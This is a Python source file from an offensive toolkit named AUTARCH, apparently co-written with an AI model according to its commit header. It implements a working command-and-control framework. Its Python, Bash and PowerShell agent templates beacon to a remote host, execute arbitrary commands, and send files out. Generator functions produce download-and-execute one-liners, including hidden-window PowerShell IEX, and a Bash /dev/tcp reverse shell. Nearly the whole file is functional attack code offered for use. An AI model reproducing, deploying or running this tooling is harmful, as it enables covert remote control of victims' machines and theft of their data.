Autarch/modules/c2_framework.py
DigiJ 2322f69516 v2.2.0 — Full arsenal expansion: 16 new security modules
Add WiFi Audit, API Fuzzer, Cloud Scanner, Threat Intel, Log Correlator,
Steganography, Anti-Forensics, BLE Scanner, Forensics, RFID/NFC, Malware
Sandbox, Password Toolkit, Web Scanner, Report Engine, Net Mapper, and
C2 Framework. Each module includes CLI interface, Flask routes, and web
UI template. Also includes Go DNS server source + binary, IP Capture
service, SYN Flood, Gone Fishing mail server, and hack hijack modules
from v2.0 work.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 05:20:39 -08:00

611 lines
24 KiB
Python

"""AUTARCH C2 Framework
Multi-session command & control framework with agent generation,
listener management, task queuing, and file transfer.
"""
DESCRIPTION = "Command & Control framework"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"
import os
import re
import json
import time
import socket
import base64
import secrets
import threading
import struct
from pathlib import Path
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, field
try:
from core.paths import get_data_dir
except ImportError:
def get_data_dir():
return str(Path(__file__).parent.parent / 'data')
# ── Agent Templates ───────────────────────────────────────────────────────────
PYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3
"""AUTARCH C2 Agent — auto-generated."""
import os,sys,time,socket,subprocess,json,base64,platform,random
C2_HOST="{host}"
C2_PORT={port}
BEACON_INTERVAL={interval}
JITTER={jitter}
AGENT_ID="{agent_id}"
def beacon():
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(30)
s.connect((C2_HOST,C2_PORT))
# Register
info={{"id":AGENT_ID,"os":platform.system(),"hostname":socket.gethostname(),
"user":os.getenv("USER",os.getenv("USERNAME","unknown")),
"pid":os.getpid(),"arch":platform.machine()}}
s.send(json.dumps({{"type":"register","data":info}}).encode()+"\\n".encode())
while True:
data=s.recv(65536)
if not data:break
try:
cmd=json.loads(data.decode())
result=handle_cmd(cmd)
s.send(json.dumps(result).encode()+"\\n".encode())
except:pass
except:pass
finally:
try:s.close()
except:pass
jitter_delay=BEACON_INTERVAL+random.uniform(-JITTER,JITTER)
time.sleep(max(1,jitter_delay))
def handle_cmd(cmd):
t=cmd.get("type","")
if t=="exec":
try:
r=subprocess.run(cmd["command"],shell=True,capture_output=True,text=True,timeout=60)
return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":r.stdout[-4096:],"stderr":r.stderr[-2048:],"rc":r.returncode}}
except Exception as e:
return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
elif t=="download":
try:
with open(cmd["path"],"rb") as f:d=base64.b64encode(f.read()).decode()
return{{"type":"file","task_id":cmd.get("task_id",""),"name":os.path.basename(cmd["path"]),"data":d}}
except Exception as e:
return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
elif t=="upload":
try:
with open(cmd["path"],"wb") as f:f.write(base64.b64decode(cmd["data"]))
return{{"type":"result","task_id":cmd.get("task_id",""),"stdout":"Uploaded to "+cmd["path"]}}
except Exception as e:
return{{"type":"error","task_id":cmd.get("task_id",""),"error":str(e)}}
elif t=="sysinfo":
return{{"type":"result","task_id":cmd.get("task_id",""),
"stdout":json.dumps({{"os":platform.system(),"release":platform.release(),
"hostname":socket.gethostname(),"user":os.getenv("USER",os.getenv("USERNAME","")),
"pid":os.getpid(),"cwd":os.getcwd(),"arch":platform.machine()}})}}
elif t=="exit":
sys.exit(0)
return{{"type":"error","task_id":cmd.get("task_id",""),"error":"Unknown command"}}
if __name__=="__main__":beacon()
'''
BASH_AGENT_TEMPLATE = '''#!/bin/bash
# AUTARCH C2 Agent — auto-generated
C2_HOST="{host}"
C2_PORT={port}
INTERVAL={interval}
AGENT_ID="{agent_id}"
while true; do
exec 3<>/dev/tcp/$C2_HOST/$C2_PORT 2>/dev/null
if [ $? -eq 0 ]; then
echo '{{"type":"register","data":{{"id":"'$AGENT_ID'","os":"'$(uname -s)'","hostname":"'$(hostname)'","user":"'$(whoami)'","pid":'$$'}}}}' >&3
while read -r line <&3; do
CMD=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('command',''))" 2>/dev/null)
TID=$(echo "$line" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('task_id',''))" 2>/dev/null)
if [ -n "$CMD" ]; then
OUTPUT=$(eval "$CMD" 2>&1 | head -c 4096)
echo '{{"type":"result","task_id":"'$TID'","stdout":"'$(echo "$OUTPUT" | base64 -w0)'"}}' >&3
fi
done
exec 3>&-
fi
sleep $INTERVAL
done
'''
POWERSHELL_AGENT_TEMPLATE = '''# AUTARCH C2 Agent — auto-generated
$C2Host="{host}"
$C2Port={port}
$Interval={interval}
$AgentId="{agent_id}"
while($true){{
try{{
$c=New-Object System.Net.Sockets.TcpClient($C2Host,$C2Port)
$s=$c.GetStream()
$w=New-Object System.IO.StreamWriter($s)
$r=New-Object System.IO.StreamReader($s)
$info=@{{type="register";data=@{{id=$AgentId;os="Windows";hostname=$env:COMPUTERNAME;user=$env:USERNAME;pid=$PID}}}}|ConvertTo-Json -Compress
$w.WriteLine($info);$w.Flush()
while($c.Connected){{
$line=$r.ReadLine()
if($line){{
$cmd=$line|ConvertFrom-Json
if($cmd.type -eq "exec"){{
try{{$out=Invoke-Expression $cmd.command 2>&1|Out-String
$resp=@{{type="result";task_id=$cmd.task_id;stdout=$out.Substring(0,[Math]::Min($out.Length,4096))}}|ConvertTo-Json -Compress
}}catch{{$resp=@{{type="error";task_id=$cmd.task_id;error=$_.Exception.Message}}|ConvertTo-Json -Compress}}
$w.WriteLine($resp);$w.Flush()
}}
}}
}}
}}catch{{}}
Start-Sleep -Seconds $Interval
}}
'''
# ── C2 Server ─────────────────────────────────────────────────────────────────
@dataclass
class Agent:
id: str
os: str = ''
hostname: str = ''
user: str = ''
pid: int = 0
arch: str = ''
remote_addr: str = ''
first_seen: str = ''
last_seen: str = ''
status: str = 'active' # active, stale, dead
@dataclass
class Task:
id: str
agent_id: str
type: str
data: dict = field(default_factory=dict)
status: str = 'pending' # pending, sent, completed, failed
result: Optional[dict] = None
created_at: str = ''
completed_at: str = ''
class C2Server:
"""Multi-session C2 server with agent management."""
def __init__(self):
self._data_dir = os.path.join(get_data_dir(), 'c2')
os.makedirs(self._data_dir, exist_ok=True)
self._agents: Dict[str, Agent] = {}
self._tasks: Dict[str, Task] = {}
self._agent_tasks: Dict[str, list] = {} # agent_id -> [task_ids]
self._agent_sockets: Dict[str, socket.socket] = {}
self._listeners: Dict[str, dict] = {}
self._listener_threads: Dict[str, threading.Thread] = {}
self._stop_events: Dict[str, threading.Event] = {}
# ── Listener Management ───────────────────────────────────────────────
def start_listener(self, name: str, host: str = '0.0.0.0',
port: int = 4444, protocol: str = 'tcp') -> dict:
"""Start a C2 listener."""
if name in self._listeners:
return {'ok': False, 'error': f'Listener "{name}" already exists'}
stop_event = threading.Event()
self._stop_events[name] = stop_event
listener_info = {
'name': name, 'host': host, 'port': port, 'protocol': protocol,
'started_at': datetime.now(timezone.utc).isoformat(),
'connections': 0,
}
self._listeners[name] = listener_info
def accept_loop():
try:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.settimeout(2.0)
srv.bind((host, port))
srv.listen(20)
listener_info['socket'] = srv
while not stop_event.is_set():
try:
conn, addr = srv.accept()
listener_info['connections'] += 1
threading.Thread(target=self._handle_agent,
args=(conn, addr, name),
daemon=True).start()
except socket.timeout:
continue
except Exception:
break
except Exception as e:
listener_info['error'] = str(e)
finally:
try:
srv.close()
except Exception:
pass
t = threading.Thread(target=accept_loop, daemon=True)
t.start()
self._listener_threads[name] = t
return {'ok': True, 'message': f'Listener "{name}" started on {host}:{port}'}
def stop_listener(self, name: str) -> dict:
"""Stop a C2 listener."""
if name not in self._listeners:
return {'ok': False, 'error': 'Listener not found'}
stop_event = self._stop_events.pop(name, None)
if stop_event:
stop_event.set()
listener = self._listeners.pop(name, {})
sock = listener.get('socket')
if sock:
try:
sock.close()
except Exception:
pass
self._listener_threads.pop(name, None)
return {'ok': True, 'message': f'Listener "{name}" stopped'}
def list_listeners(self) -> List[dict]:
return [{k: v for k, v in l.items() if k != 'socket'}
for l in self._listeners.values()]
def _handle_agent(self, conn: socket.socket, addr: tuple, listener: str):
"""Handle incoming agent connection."""
conn.settimeout(300) # 5 min timeout
try:
data = conn.recv(65536)
if not data:
return
msg = json.loads(data.decode().strip())
if msg.get('type') != 'register':
conn.close()
return
info = msg.get('data', {})
agent_id = info.get('id', secrets.token_hex(4))
agent = Agent(
id=agent_id,
os=info.get('os', ''),
hostname=info.get('hostname', ''),
user=info.get('user', ''),
pid=info.get('pid', 0),
arch=info.get('arch', ''),
remote_addr=f'{addr[0]}:{addr[1]}',
first_seen=datetime.now(timezone.utc).isoformat(),
last_seen=datetime.now(timezone.utc).isoformat(),
)
self._agents[agent_id] = agent
self._agent_sockets[agent_id] = conn
if agent_id not in self._agent_tasks:
self._agent_tasks[agent_id] = []
# Process pending tasks for this agent
while True:
pending = [t for t in self._get_pending_tasks(agent_id)]
if not pending:
time.sleep(1)
# Check if still connected
try:
conn.send(b'')
except Exception:
break
agent.last_seen = datetime.now(timezone.utc).isoformat()
continue
for task in pending:
try:
cmd = {'type': task.type, 'task_id': task.id, **task.data}
conn.send(json.dumps(cmd).encode() + b'\n')
task.status = 'sent'
# Wait for result
conn.settimeout(60)
result_data = conn.recv(65536)
if result_data:
result = json.loads(result_data.decode().strip())
task.result = result
task.status = 'completed'
task.completed_at = datetime.now(timezone.utc).isoformat()
else:
task.status = 'failed'
except Exception as e:
task.status = 'failed'
task.result = {'error': str(e)}
agent.last_seen = datetime.now(timezone.utc).isoformat()
except Exception:
pass
finally:
conn.close()
# Mark agent as stale if no longer connected
for aid, sock in list(self._agent_sockets.items()):
if sock is conn:
self._agent_sockets.pop(aid, None)
if aid in self._agents:
self._agents[aid].status = 'stale'
def _get_pending_tasks(self, agent_id: str) -> List[Task]:
task_ids = self._agent_tasks.get(agent_id, [])
return [self._tasks[tid] for tid in task_ids
if tid in self._tasks and self._tasks[tid].status == 'pending']
# ── Agent Management ──────────────────────────────────────────────────
def list_agents(self) -> List[dict]:
agents = []
for a in self._agents.values():
# Check if still connected
connected = a.id in self._agent_sockets
agents.append({
'id': a.id, 'os': a.os, 'hostname': a.hostname,
'user': a.user, 'pid': a.pid, 'arch': a.arch,
'remote_addr': a.remote_addr,
'first_seen': a.first_seen, 'last_seen': a.last_seen,
'status': 'active' if connected else a.status,
})
return agents
def remove_agent(self, agent_id: str) -> dict:
if agent_id in self._agent_sockets:
try:
self._agent_sockets[agent_id].close()
except Exception:
pass
del self._agent_sockets[agent_id]
self._agents.pop(agent_id, None)
self._agent_tasks.pop(agent_id, None)
return {'ok': True}
# ── Task Queue ────────────────────────────────────────────────────────
def queue_task(self, agent_id: str, task_type: str,
data: dict = None) -> dict:
"""Queue a task for an agent."""
if agent_id not in self._agents:
return {'ok': False, 'error': 'Agent not found'}
task_id = secrets.token_hex(4)
task = Task(
id=task_id,
agent_id=agent_id,
type=task_type,
data=data or {},
created_at=datetime.now(timezone.utc).isoformat(),
)
self._tasks[task_id] = task
if agent_id not in self._agent_tasks:
self._agent_tasks[agent_id] = []
self._agent_tasks[agent_id].append(task_id)
return {'ok': True, 'task_id': task_id}
def execute_command(self, agent_id: str, command: str) -> dict:
"""Shortcut to queue an exec task."""
return self.queue_task(agent_id, 'exec', {'command': command})
def download_file(self, agent_id: str, remote_path: str) -> dict:
return self.queue_task(agent_id, 'download', {'path': remote_path})
def upload_file(self, agent_id: str, remote_path: str,
file_data: bytes) -> dict:
encoded = base64.b64encode(file_data).decode()
return self.queue_task(agent_id, 'upload',
{'path': remote_path, 'data': encoded})
def get_task_result(self, task_id: str) -> dict:
task = self._tasks.get(task_id)
if not task:
return {'ok': False, 'error': 'Task not found'}
return {
'ok': True,
'task_id': task.id,
'status': task.status,
'result': task.result,
'created_at': task.created_at,
'completed_at': task.completed_at,
}
def list_tasks(self, agent_id: str = '') -> List[dict]:
tasks = []
for t in self._tasks.values():
if agent_id and t.agent_id != agent_id:
continue
tasks.append({
'id': t.id, 'agent_id': t.agent_id, 'type': t.type,
'status': t.status, 'created_at': t.created_at,
'completed_at': t.completed_at,
'has_result': t.result is not None,
})
return tasks
# ── Agent Generation ──────────────────────────────────────────────────
def generate_agent(self, host: str, port: int = 4444,
agent_type: str = 'python',
interval: int = 5, jitter: int = 2) -> dict:
"""Generate a C2 agent payload."""
agent_id = secrets.token_hex(4)
if agent_type == 'python':
code = PYTHON_AGENT_TEMPLATE.format(
host=host, port=port, interval=interval,
jitter=jitter, agent_id=agent_id)
elif agent_type == 'bash':
code = BASH_AGENT_TEMPLATE.format(
host=host, port=port, interval=interval,
agent_id=agent_id)
elif agent_type == 'powershell':
code = POWERSHELL_AGENT_TEMPLATE.format(
host=host, port=port, interval=interval,
agent_id=agent_id)
else:
return {'ok': False, 'error': f'Unknown agent type: {agent_type}'}
# Save to file
ext = {'python': 'py', 'bash': 'sh', 'powershell': 'ps1'}[agent_type]
filename = f'agent_{agent_id}.{ext}'
filepath = os.path.join(self._data_dir, filename)
with open(filepath, 'w') as f:
f.write(code)
return {
'ok': True,
'agent_id': agent_id,
'filename': filename,
'filepath': filepath,
'code': code,
'type': agent_type,
}
# ── One-liners ────────────────────────────────────────────────────────
def get_oneliner(self, host: str, port: int = 4444,
agent_type: str = 'python') -> dict:
"""Generate a one-liner to deploy the agent."""
if agent_type == 'python':
liner = (f"python3 -c \"import urllib.request,os,tempfile;"
f"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False);"
f"f.write(urllib.request.urlopen('http://{host}:{port+1}/agent.py').read());"
f"f.close();os.system('python3 '+f.name+' &')\"")
elif agent_type == 'bash':
liner = f"bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1 &'"
elif agent_type == 'powershell':
liner = (f"powershell -nop -w hidden -c "
f"\"IEX(New-Object Net.WebClient).DownloadString"
f"('http://{host}:{port+1}/agent.ps1')\"")
else:
return {'ok': False, 'error': 'Unknown type'}
return {'ok': True, 'oneliner': liner, 'type': agent_type}
# ── Singleton ─────────────────────────────────────────────────────────────────
_instance = None
_lock = threading.Lock()
def get_c2_server() -> C2Server:
global _instance
if _instance is None:
with _lock:
if _instance is None:
_instance = C2Server()
return _instance
# ── CLI ───────────────────────────────────────────────────────────────────────
def run():
"""Interactive CLI for C2 Framework."""
svc = get_c2_server()
while True:
print("\n╔═══════════════════════════════════════╗")
print("║ C2 FRAMEWORK ║")
print("╠═══════════════════════════════════════╣")
print("║ 1 — Start Listener ║")
print("║ 2 — Stop Listener ║")
print("║ 3 — List Agents ║")
print("║ 4 — Interact with Agent ║")
print("║ 5 — Generate Agent Payload ║")
print("║ 6 — Get One-Liner ║")
print("║ 0 — Back ║")
print("╚═══════════════════════════════════════╝")
choice = input("\n Select: ").strip()
if choice == '0':
break
elif choice == '1':
name = input(" Listener name: ").strip() or 'default'
port = int(input(" Port (4444): ").strip() or '4444')
r = svc.start_listener(name, port=port)
print(f" {r.get('message', r.get('error', ''))}")
elif choice == '2':
listeners = svc.list_listeners()
if not listeners:
print(" No listeners.")
continue
for l in listeners:
print(f" {l['name']}{l['host']}:{l['port']} ({l['connections']} connections)")
name = input(" Stop which: ").strip()
if name:
r = svc.stop_listener(name)
print(f" {r.get('message', r.get('error', ''))}")
elif choice == '3':
agents = svc.list_agents()
if not agents:
print(" No agents.")
continue
for a in agents:
print(f" [{a['status']:6s}] {a['id']}{a['user']}@{a['hostname']} "
f"({a['os']}) from {a['remote_addr']}")
elif choice == '4':
aid = input(" Agent ID: ").strip()
if not aid:
continue
print(f" Interacting with {aid} (type 'exit' to return)")
while True:
cmd = input(f" [{aid}]> ").strip()
if cmd in ('exit', 'quit', ''):
break
r = svc.execute_command(aid, cmd)
if not r.get('ok'):
print(f" Error: {r.get('error')}")
continue
# Poll for result
for _ in range(30):
time.sleep(1)
result = svc.get_task_result(r['task_id'])
if result.get('status') in ('completed', 'failed'):
if result.get('result'):
out = result['result'].get('stdout', '')
err = result['result'].get('stderr', '')
if out:
print(out)
if err:
print(f" [stderr] {err}")
break
else:
print(" [timeout] No response within 30s")
elif choice == '5':
host = input(" Callback host: ").strip()
port = int(input(" Callback port (4444): ").strip() or '4444')
atype = input(" Type (python/bash/powershell): ").strip() or 'python'
r = svc.generate_agent(host, port, atype)
if r.get('ok'):
print(f" Agent saved to: {r['filepath']}")
else:
print(f" Error: {r.get('error')}")
elif choice == '6':
host = input(" Host: ").strip()
port = int(input(" Port (4444): ").strip() or '4444')
atype = input(" Type (python/bash/powershell): ").strip() or 'python'
r = svc.get_oneliner(host, port, atype)
if r.get('ok'):
print(f"\n {r['oneliner']}\n")